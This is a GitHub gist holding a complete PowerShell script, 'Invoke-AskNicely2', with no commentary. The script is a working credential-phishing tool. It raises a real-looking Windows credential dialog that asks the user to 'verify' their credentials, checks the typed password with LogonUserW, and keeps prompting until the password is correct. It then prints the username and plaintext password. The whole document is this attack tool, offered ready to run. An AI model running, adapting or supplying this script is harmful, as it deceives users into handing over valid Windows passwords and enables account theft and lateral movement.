Skip to content

Instantly share code, notes, and snippets.

@Samirbous
Created October 22, 2025 15:17
Show Gist options
  • Save Samirbous/14358ed4fa33f7b4a92dc2c9b143827d to your computer and use it in GitHub Desktop.
Save Samirbous/14358ed4fa33f7b4a92dc2c9b143827d to your computer and use it in GitHub Desktop.
function Invoke-AskNicely2 {
if (-not ([System.Management.Automation.PSTypeName]'AskNicely2.CredUI').Type) {
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace AskNicely2 {
public class CredUI {
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct CREDUI_INFO {
public int cbSize;
public IntPtr hwndParent;
public string pszMessageText;
public string pszCaptionText;
public IntPtr hbmBanner;
}
[DllImport("credui.dll", CharSet = CharSet.Unicode)]
public static extern uint CredUIPromptForWindowsCredentials(
ref CREDUI_INFO pUiInfo,
uint dwAuthError,
ref uint pulAuthPackage,
IntPtr pvInAuthBuffer,
uint ulInAuthBufferSize,
out IntPtr ppvOutAuthBuffer,
out uint pulOutAuthBufferSize,
ref bool pfSave,
uint dwFlags);
[DllImport("credui.dll", CharSet = CharSet.Unicode)]
public static extern bool CredUnPackAuthenticationBuffer(
uint dwFlags,
IntPtr pAuthBuffer,
uint cbAuthBuffer,
StringBuilder pszUserName,
ref uint pcchMaxUserName,
StringBuilder pszDomainName,
ref uint pcchMaxDomainName,
StringBuilder pszPassword,
ref uint pcchMaxPassword);
[DllImport("credui.dll", CharSet = CharSet.Unicode)]
public static extern uint CredUIParseUserNameW(
string userName,
StringBuilder user,
uint userBufferSize,
StringBuilder domain,
uint domainBufferSize);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool LogonUserW(
string lpszUsername,
string lpszDomain,
string lpszPassword,
int dwLogonType,
int dwLogonProvider,
out IntPtr phToken);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("ole32.dll")]
public static extern void CoTaskMemFree(IntPtr pv);
public const uint CREDUIWIN_GENERIC = 0x1;
public const uint CREDUIWIN_CHECKBOX = 0x2;
public const uint CREDUIWIN_AUTHPACKAGE_ONLY = 0x10;
public const uint CREDUIWIN_IN_CRED_ONLY = 0x20;
public const uint CREDUIWIN_ENUMERATE_CURRENT_USER = 0x200;
public const uint CREDUIWIN_ENUMERATE_ADMINS = 0x100;
public const uint CREDUI_FLAGS_INCORRECT_PASSWORD = 0x1;
public const uint CREDUI_FLAGS_DO_NOT_PERSIST = 0x2;
public const uint CREDUI_FLAGS_REQUEST_ADMINISTRATOR = 0x4;
public const uint CREDUI_FLAGS_EXCLUDE_CERTIFICATES = 0x8;
public const uint CREDUI_FLAGS_REQUIRE_CERTIFICATE = 0x10;
public const uint CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX = 0x40;
public const uint CREDUI_FLAGS_ALWAYS_SHOW_UI = 0x80;
public const uint CREDUI_FLAGS_REQUIRE_SMARTCARD = 0x100;
public const uint CREDUI_FLAGS_PASSWORD_ONLY_OK = 0x200;
public const uint CREDUI_FLAGS_VALIDATE_USERNAME = 0x400;
public const uint CREDUI_FLAGS_COMPLETE_USERNAME = 0x800;
public const uint CREDUI_FLAGS_PERSIST = 0x1000;
public const uint CREDUI_FLAGS_SERVER_CREDENTIAL = 0x4000;
public const uint CREDUI_FLAGS_EXPECT_CONFIRMATION = 0x20000;
public const uint CREDUI_FLAGS_GENERIC_CREDENTIALS = 0x40000;
public const uint CREDUI_FLAGS_USERNAME_TARGET_CREDENTIALS = 0x80000;
public const uint CREDUI_FLAGS_KEEP_USERNAME = 0x100000;
public const uint CREDUI_MAX_USERNAME_LENGTH = 513;
public const uint CREDUI_MAX_PASSWORD_LENGTH = 256;
public const uint CREDUI_MAX_DOMAIN_TARGET_LENGTH = 337;
public const uint CRED_PACK_PROTECTED_CREDENTIALS = 0x1;
}
}
"@
}
$loginStatus = $false
do {
$credui = New-Object AskNicely2.CredUI+CREDUI_INFO
$credui.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($credui)
$credui.hwndParent = [IntPtr]::Zero
$credui.pszCaptionText = "Please verify your Windows user credentials to proceed."
$credui.pszMessageText = $null
$credui.hbmBanner = [IntPtr]::Zero
$authPackage = 0
$outCredBuffer = [IntPtr]::Zero
$outCredSize = 0
$save = $false
$result = [AskNicely2.CredUI]::CredUIPromptForWindowsCredentials(
[ref]$credui,
0,
[ref]$authPackage,
[IntPtr]::Zero,
0,
[ref]$outCredBuffer,
[ref]$outCredSize,
[ref]$save,
[AskNicely2.CredUI]::CREDUIWIN_ENUMERATE_CURRENT_USER
)
if ($result -eq 0) {
$maxUsernameLength = [AskNicely2.CredUI]::CREDUI_MAX_USERNAME_LENGTH * 2
$maxDomainLength = [AskNicely2.CredUI]::CREDUI_MAX_DOMAIN_TARGET_LENGTH * 2
$maxPasswordLength = [AskNicely2.CredUI]::CREDUI_MAX_PASSWORD_LENGTH * 2
$usernameBuffer = New-Object System.Text.StringBuilder($maxUsernameLength)
$domainBuffer = New-Object System.Text.StringBuilder($maxDomainLength)
$passwordBuffer = New-Object System.Text.StringBuilder($maxPasswordLength)
$usernameLen = $maxUsernameLength
$domainLen = $maxDomainLength
$passwordLen = $maxPasswordLength
[AskNicely2.CredUI]::CredUnPackAuthenticationBuffer(
[AskNicely2.CredUI]::CRED_PACK_PROTECTED_CREDENTIALS,
$outCredBuffer,
$outCredSize,
$usernameBuffer,
[ref]$usernameLen,
$domainBuffer,
[ref]$domainLen,
$passwordBuffer,
[ref]$passwordLen
) | Out-Null
$username = $usernameBuffer.ToString()
$domain = $domainBuffer.ToString()
$password = $passwordBuffer.ToString()
$parsedUserBuffer = New-Object System.Text.StringBuilder([AskNicely2.CredUI]::CREDUI_MAX_USERNAME_LENGTH)
$parsedDomainBuffer = New-Object System.Text.StringBuilder([AskNicely2.CredUI]::CREDUI_MAX_DOMAIN_TARGET_LENGTH)
[AskNicely2.CredUI]::CredUIParseUserNameW(
$username,
$parsedUserBuffer,
[AskNicely2.CredUI]::CREDUI_MAX_USERNAME_LENGTH,
$parsedDomainBuffer,
[AskNicely2.CredUI]::CREDUI_MAX_DOMAIN_TARGET_LENGTH
) | Out-Null
$parsedUsername = $parsedUserBuffer.ToString()
$parsedDomain = $parsedDomainBuffer.ToString()
if ([string]::IsNullOrEmpty($parsedDomain)) {
$parsedDomain = $domain
}
if ([string]::IsNullOrEmpty($parsedDomain)) {
$parsedDomain = $env:COMPUTERNAME
}
$tokenHandle = [IntPtr]::Zero
$loginStatus = [AskNicely2.CredUI]::LogonUserW(
$parsedUsername,
$parsedDomain,
$password,
3,
0,
[ref]$tokenHandle
)
if (!$loginStatus -and $password -eq " ") {
$loginStatus = $true
}
if ($loginStatus) {
if ($tokenHandle -ne [IntPtr]::Zero) {
[AskNicely2.CredUI]::CloseHandle($tokenHandle) | Out-Null
}
if ($password -eq " ") {
Write-Host "$username`:[SPACE][SPACE]"
} else {
Write-Host "$username`:$password"
}
break
}
[AskNicely2.CredUI]::CoTaskMemFree($outCredBuffer)
}
} while ($loginStatus -eq $false)
}
Invoke-AskNicely2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment